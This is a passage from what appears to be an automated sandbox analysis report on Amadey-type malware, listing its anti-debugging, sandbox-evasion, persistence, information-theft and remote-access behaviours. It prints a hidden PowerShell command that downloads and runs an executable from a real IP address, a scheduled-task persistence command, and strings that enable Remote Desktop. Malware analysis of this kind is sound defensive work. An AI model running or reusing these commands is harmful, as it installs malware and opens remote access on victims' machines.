Source: powershell.exe, 00000009.00000002.974419404.000002C7263F3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE System information queried: ModuleInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Code function: 19_2_04B60C78 rdtsc 19_2_04B60C78
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024EAA2 BlockInput, 0_2_0024EAA2
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00202622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00202622
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_001D42DE
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F4CE8 mov eax, dword ptr fs:[00000030h] 0_2_001F4CE8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00230B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 0_2_00230B62
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00202622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00202622
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_001F083F
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F09D5 SetUnhandledExceptionFilter, 0_2_001F09D5
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_001F0C21

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi32_6352.amsi.csv, type: OTHER
Source: Yara match File source: amsi64_2708.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: mshta.exe PID: 6920, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mshta.exe PID: 1796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2708, type: MEMORYSTR
Contains functionality to execute programs as a different user
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00231201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 0_2_00231201
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00212BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 0_2_00212BA5
Contains functionality to simulate keystroke presses
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023B226 SendInput,keybd_event, 0_2_0023B226
Contains functionality to simulate mouse events
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002522DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event, 0_2_002522DA
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn nunflmahplF /tr "mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE "C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" Jump to behavior
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00230B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 0_2_00230B62
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00231663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 0_2_00231663
Source: random.exe Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: rapes.exe, rapes.exe, 00000015.00000002.1602520567.0000000000CA0000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 8Program Manager
Source: random.exe Binary or memory string: Shell_TrayWnd
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F0698 cpuid 0_2_001F0698
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0022D21C GetLocalTime, 0_2_0022D21C
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0022D27A GetUserNameW, 0_2_0022D27A
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0020B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 0_2_0020B952
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_001D42DE

Stealing of Sensitive Information
barindex
Yara detected Amadey
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Amadeys Clipper DLL
Source: Yara match File source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.1561578454.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.1570541222.0000000000A11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.1552207485.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.1529477271.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.1592540708.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
OS version to string mapping found (often used in BOTs)
Source: random.exe Binary or memory string: WIN_81
Source: random.exe Binary or memory string: WIN_XP
Source: random.exe Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: random.exe Binary or memory string: WIN_XPe
Source: random.exe Binary or memory string: WIN_VISTA
Source: random.exe Binary or memory string: WIN_7
Source: random.exe Binary or memory string: WIN_8

Remote Access Functionality
barindex
Contains functionality to start a terminal service
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE String found in binary or memory: net start termservice
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE, 00000013.00000002.1570541222.0000000000A11000.00000040.00000001.01000000.0000000E.sdmp String found in binary or memory: net start termservice
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE, 00000013.00000002.1570541222.0000000000A11000.00000040.00000001.01000000.0000000E.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE, 00000013.00000003.1529477271.0000000004940000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE, 00000013.00000003.1529477271.0000000004940000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 